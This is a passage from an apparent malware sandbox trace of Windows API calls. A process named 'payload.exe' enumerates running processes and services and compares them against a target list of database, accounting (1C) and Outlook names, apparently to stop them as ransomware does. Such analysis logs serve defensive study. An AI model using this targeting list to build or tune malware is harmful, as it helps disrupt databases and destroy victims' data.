lpString2="csrss.exe") returned 1 [0112.980] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0112.980] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0112.980] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0112.980] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0112.980] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0112.980] lstrlenW (lpString="wininit.exe") returned 11 [0112.980] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0112.980] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0112.980] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0112.980] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0112.980] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0112.980] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0112.980] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0112.980] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0112.981] lstrlenW (lpString="csrss.exe") returned 9 [0112.981] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0112.981] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0112.981] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0112.981] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0112.981] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0112.981] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0112.981] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0112.981] lstrlenW (lpString="winlogon.exe") returned 12 [0112.981] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0112.981] lstrlenW (lpString="services.exe") returned 12 [0112.981] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0112.982] lstrlenW (lpString="lsass.exe") returned 9 [0112.982] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0112.982] lstrlenW (lpString="lsm.exe") returned 7 [0112.982] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.982] lstrlenW (lpString="svchost.exe") returned 11 [0112.982] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.983] lstrlenW (lpString="svchost.exe") returned 11 [0112.983] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.983] lstrlenW (lpString="svchost.exe") returned 11 [0112.983] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.983] lstrlenW (lpString="svchost.exe") returned 11 [0112.983] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.983] lstrlenW (lpString="svchost.exe") returned 11 [0112.983] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0112.984] lstrlenW (lpString="audiodg.exe") returned 11 [0112.984] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.984] lstrlenW (lpString="svchost.exe") returned 11 [0112.984] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.984] lstrlenW (lpString="svchost.exe") returned 11 [0112.984] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0112.984] lstrlenW (lpString="userinit.exe") returned 12 [0112.984] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0112.984] lstrlenW (lpString="dwm.exe") returned 7 [0112.985] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0112.985] lstrlenW (lpString="explorer.exe") returned 12 [0112.985] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0112.985] lstrlenW (lpString="spoolsv.exe") returned 11 [0112.985] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0112.985] lstrlenW (lpString="taskhost.exe") returned 12 [0112.985] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.986] lstrlenW (lpString="svchost.exe") returned 11 [0112.986] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0112.986] lstrlenW (lpString="payload.exe") returned 11 [0112.986] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0112.986] lstrlenW (lpString="reader_sl.exe") returned 13 [0112.986] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0112.987] lstrlenW (lpString="taskhost.exe") returned 12 [0112.987] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0112.987] lstrlenW (lpString="dllhost.exe") returned 11 [0112.987] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0112.987] lstrlenW (lpString="consent.exe") returned 11 [0112.987] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0112.988] lstrlenW (lpString="dllhost.exe") returned 11 [0112.988] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0112.988] CloseHandle (hObject=0x3c0) returned 1 [0112.988] Sleep (dwMilliseconds=0x1f4) [0113.646] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x55eae0 [0113.646] EnumServicesStatusExW (in: hSCManager=0x55eae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0113.646] GetLastError () returned 0xea [0113.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0113.646] EnumServicesStatusExW (in: hSCManager=0x55eae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0113.647] CloseServiceHandle (hSCObject=0x55eae0) returned 1 [0113.647] lstrlenW (lpString="Appinfo") returned 7 [0113.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0113.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0113.647] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0113.647] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0113.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0113.647] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0113.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0113.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0113.647] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0113.647] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0113.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0113.648] lstrlenW (lpString="AudioSrv") returned 8 [0113.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0113.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0113.648] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0113.648] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0113.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0113.648] lstrlenW (lpString="BFE") returned 3 [0113.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0113.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0113.648] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0113.648] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0113.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0113.648] lstrlenW (lpString="CryptSvc") returned 8 [0113.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0113.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0113.648] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0113.648] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0113.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0113.648] lstrlenW (lpString="CscService") returned 10 [0113.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0113.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0113.648] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0113.648] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0113.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0113.648] lstrlenW (lpString="DcomLaunch") returned 10 [0113.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0113.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0113.648] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0113.648] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0113.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0113.648] lstrlenW (lpString="Dhcp") returned 4 [0113.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0113.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0113.648] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0113.648] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0113.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0113.648] lstrlenW (lpString="Dnscache") returned 8 [0113.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0113.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0113.648] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0113.648] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0113.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0113.649] lstrlenW (lpString="DPS") returned 3 [0113.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0113.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0113.649] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0113.649] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0113.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0113.649] lstrlenW (lpString="eventlog") returned 8 [0113.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0113.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0113.649] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0113.649] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0113.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0113.649] lstrlenW (lpString="EventSystem") returned 11 [0113.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0113.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0113.649] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0113.649] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0113.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0113.649] lstrlenW (lpString="gpsvc") returned 5 [0113.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0113.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0113.649] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0113.649] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0113.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0113.649] lstrlenW (lpString="iphlpsvc") returned 8 [0113.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0113.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0113.649] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0113.649] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0113.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0113.649] lstrlenW (lpString="LanmanServer") returned 12 [0113.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0113.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0113.649] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0113.649] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0113.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0113.650] lstrlenW (lpString="LanmanWorkstation") returned 17 [0113.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0113.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0113.650] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0113.650] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0113.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0113.650] lstrlenW (lpString="lmhosts") returned 7 [0113.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0113.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0113.650] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0113.650] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0113.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0113.650] lstrlenW (lpString="MMCSS") returned 5 [0113.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0113.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0113.650] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0113.650] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0113.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0113.650] lstrlenW (lpString="MpsSvc") returned 6 [0113.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0113.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0113.650] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0113.650] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0113.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0113.650] lstrlenW (lpString="Netman") returned 6 [0113.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0113.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0113.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0113.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0113.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0113.650] lstrlenW (lpString="netprofm") returned 8 [0113.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0113.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0113.650] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0113.650] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0113.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0113.650] lstrlenW (lpString="NlaSvc") returned 6 [0113.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0113.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0113.651] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0113.651] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0113.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0113.651] lstrlenW (lpString="nsi") returned 3 [0113.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0113.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0113.651] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0113.651] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0113.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0113.651] lstrlenW (lpString="PcaSvc") returned 6 [0113.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0113.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0113.651] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0113.651] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0113.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0113.651] lstrlenW (lpString="PlugPlay") returned 8 [0113.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0113.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0113.651] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0113.651] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0113.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0113.651] lstrlenW (lpString="Power") returned 5 [0113.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0113.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0113.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0113.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0113.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0113.651] lstrlenW (lpString="ProfSvc") returned 7 [0113.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0113.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0113.651] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0113.651] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0113.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0113.651] lstrlenW (lpString="RpcEptMapper") returned 12 [0113.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0113.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0113.652] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0113.652] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0113.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0113.652] lstrlenW (lpString="RpcSs") returned 5 [0113.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0113.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0113.652] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0113.652] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0113.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0113.652] lstrlenW (lpString="SamSs") returned 5 [0113.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0113.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0113.652] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0113.652] lstrcmpiW 